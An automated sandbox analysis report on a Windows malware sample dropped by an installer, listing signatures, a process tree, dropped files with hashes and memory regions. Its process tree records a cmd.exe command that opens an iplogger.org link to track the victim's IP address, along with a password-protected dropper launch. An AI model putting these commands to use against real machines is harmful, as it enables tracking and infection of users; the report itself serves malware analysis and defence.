Analysis

  • max time kernel
    120s
  • max time network
    141s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    05/11/2024, 08:10

General

  • Target
    0x000100000001ab9c-70.exe
  • Size 977KB
  • Sample241105-j22chsyclr
  • SHA256 bb5d2c07ce902c78227325bf5f336c04335874445fc0635a6b67ae5ba9d2fefc
  • MD5 SHA1 SHA512 SSDEEP
Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 15 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Drops file in Program Files directory 36 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 36 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 31 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0x000100000001ab9c-70.exe
    "C:\Users\Admin\AppData\Local\Temp\0x000100000001ab9c-70.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2520
    • C:\Users\Admin\AppData\Local\Temp\is-4928Q.tmp\0x000100000001ab9c-70.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-4928Q.tmp\0x000100000001ab9c-70.tmp" /SL5="$5012A,748569,121344,C:\Users\Admin\AppData\Local\Temp\0x000100000001ab9c-70.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:2556
      • C:\Program Files (x86)\RearRips\seed.sfx.exe
        "C:\Program Files (x86)\RearRips\seed.sfx.exe" -pK2j8l614 -s1
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Drops file in Program Files directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2496
        • C:\Program Files (x86)\Seed Trade\Seed\seed.exe
          "C:\Program Files (x86)\Seed Trade\Seed\seed.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1508
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1508 -s 128
            5⤵
            • Loads dropped DLL
            • Program crash
            PID:1076
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /c "start https://iplogger.org/14Zhe7"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2616
        • C:\Program Files\Internet Explorer\iexplore.exe
          "C:\Program Files\Internet Explorer\iexplore.exe" https://iplogger.org/14Zhe7
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:756
          • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
            "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:756 CREDAT:275457 /prefetch:2
            5⤵
            • System Location Discovery: System Language Discovery
            • Modifies Internet Explorer settings
            • Suspicious use of SetWindowsHookEx
            PID:2816

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        DreamTrip.exe

        • Path C:\Program Files (x86)\RearRips\DreamTrip.exe
        • Size 796KB
        • SHA256 1de138bb3e707b6d6e0c8f5242444ff9f1c84882d18a00e3da36a8547f6343c9
        • MD5 SHA1 SHA512 SSDEEP

        seed.sfx.exe

        • Path C:\Program Files (x86)\RearRips\seed.sfx.exe
        • Size 422KB
        • SHA256 a31cc4bf3dbead273e545711926580b65ff3c9d68f4e3103e3bfd28681fe81cd
        • MD5 SHA1 SHA512 SSDEEP

        3C428B1A3E5F57D887EC4B864FAC5DCC

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\3C428B1A3E5F57D887EC4B864FAC5DCC
        • Size 914B
        • SHA256 cb3ccbb76031e5e0138f8dd39a23f9de47ffc35e43c1144cea27d46a5ab1cb5f
        • MD5 SHA1 SHA512

        F0ACCF77CDCBFF39F6191887F6D2D357

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357
        • Size 1KB
        • SHA256 df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e
        • MD5 SHA1 SHA512

        3C428B1A3E5F57D887EC4B864FAC5DCC

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\3C428B1A3E5F57D887EC4B864FAC5DCC
        • Size 252B
        • SHA256 fb4dcb199a05d3788aa977323d1fea444b0f8054ef83881cbc75af734006561a
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 342B
        • SHA256 ff555a2322c425a5ce7a18ad90650fad04edacbbf7639b440f5bda64d01efef8
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 342B
        • SHA256 11a0d3c6e67a62c1a98b5a852dde619cc12b89d10bd91ed32910196139d73190
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 342B
        • SHA256 dd309ffe3295437110cc5a74f763ec05a9d0fdb6a31bfc6ef22f6cda6bd3c601
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 342B
        • SHA256 3c116a6f19fe600aea9222be3c645fb4830ad0eb7329820e7dc4a9d7c0b6b85e
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 342B
        • SHA256 2da63de85e3fdb3fa320d21670bd8beb7af0f70d20a4198449f1e02eb9bdc06e
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 342B
        • SHA256 b2df4115db9a1c6a2616460e1261a70d78c65c46af12e36c47e43c7b1c7f08c7
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 342B
        • SHA256 bb37471cc3a65eaf56d5e41268a55d13da142d504293c947b3ef7040c53ba7f0
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 342B
        • SHA256 272008f171386007037f28d5a0a741c6d4fbc4b3d1eba52da18e2c1694da2129
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 342B
        • SHA256 862128517e1adb97820288ee7c0e933067fd327d71563f357a50b7e5501eda45
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 342B
        • SHA256 a1bc77903697dea548c2c2dbb56e0898115aabb30acf014723bcd507a56615a7
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 342B
        • SHA256 15ffd3a573c86707e5ff2aec30c9c7373cae64aad4d763af77f393cc6f71621c
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 342B
        • SHA256 a2f225f39e8981e22c866cbcace4cc2a55f6a61b791228cc96c2ee92747cdf12
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 342B
        • SHA256 97568cb2143763fff72bf7321ecf2c8e5f82c13c48582d6319c18ae5703b542b
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 342B
        • SHA256 d9b59a8862317b5ef14a1a2404eb035c7c9bab04251801dd1e3a191b0032a563
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 342B
        • SHA256 0e29c11b466ef97738093467f12a3fef2603e8f6d025af80ccd416a41f633ae2
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 342B
        • SHA256 1f211a396ebeced452cba961033ed1a22c19a9f0ea17e0d268e480b63b539568
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 342B
        • SHA256 2f186aa274d511e51c02c82468e50b5eb64f73cb18b352a6fa7f4cc1bd896a47
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 342B
        • SHA256 2a6453c5bc909641348609649246e1b90fac1c95ca8e1bad48bb87495bf3aeac
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 342B
        • SHA256 63abd03d7819de125c90e50b95082b0498f1b0a9cc945b5bbd3bff3e57b0b3cd
        • MD5 SHA1 SHA512

        F0ACCF77CDCBFF39F6191887F6D2D357

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357
        • Size 242B
        • SHA256 3fa1f494b062bab7450ba245afd2ef61a10bfee22c1643534fd37df20fad40ed
        • MD5 SHA1 SHA512

        imagestore.dat

        • Path C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\imagestore\e1ur8h2\imagestore.dat
        • Size 2KB
        • SHA256 2ba5ffd5e270087b69c155894e83ca4b167aa13975f6cc0bb422aee5ec60f223
        • MD5 SHA1 SHA512

        favicon[1].png

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZKZ95V4R\favicon[1].png
        • Size 2KB
        • SHA256 e0e71acef1efbfab69a1a60cd8fadded948d0e47a0a27c59a0be7033f6a84482
        • MD5 SHA1 SHA512

        CabF00D.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\CabF00D.tmp
        • Size 70KB
        • SHA256 b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
        • MD5 SHA1 SHA512 SSDEEP

        TarF00E.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\TarF00E.tmp
        • Size 181KB
        • SHA256 8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
        • MD5 SHA1 SHA512 SSDEEP

        unins000.exe

        • Path \Program Files (x86)\RearRips\unins000.exe
        • Size 775KB
        • SHA256 8f2fd0056dc1d9c7d604b2b7d6d070c7c973de882e2b429ee8b5b6d3b4640e33
        • MD5 SHA1 SHA512 SSDEEP

        seed.exe

        • Path \Program Files (x86)\Seed Trade\Seed\seed.exe
        • Size 302KB
        • SHA256 e950963a8f60b5981af47607c54687c0e8d31edac56c03aafde552a418074ba7
        • MD5 SHA1 SHA512 SSDEEP

        1105.tmp

        • Path \Users\Admin\AppData\Local\Temp\1105.tmp
        • Size 1.2MB
        • SHA256 ea1e16247c848c8c171c4cd1fa17bc5a018a1fcb0c0dac25009066b6667b8eef
        • MD5 SHA1 SHA512 SSDEEP

        0x000100000001ab9c-70.tmp

        • Path \Users\Admin\AppData\Local\Temp\is-4928Q.tmp\0x000100000001ab9c-70.tmp
        • Size 764KB
        • SHA256 db8341fc8e86f7b80fbe144aa9ceea3e3369b64dcd5998c5a7f186c304cfeb96
        • MD5 SHA1 SHA512 SSDEEP

        memory/1508-169-0x0000000000400000-0x00000000046CB000-memory.dmp

        memory/2520-134-0x0000000000400000-0x0000000000425000-memory.dmp

        memory/2520-3-0x0000000000401000-0x000000000040C000-memory.dmp

        memory/2520-10-0x0000000000400000-0x0000000000425000-memory.dmp

        memory/2520-0-0x0000000000400000-0x0000000000425000-memory.dmp

        memory/2556-133-0x0000000000400000-0x00000000004CF000-memory.dmp

        memory/2556-11-0x0000000000400000-0x00000000004CF000-memory.dmp

        memory/2556-8-0x0000000000400000-0x00000000004CF000-memory.dmp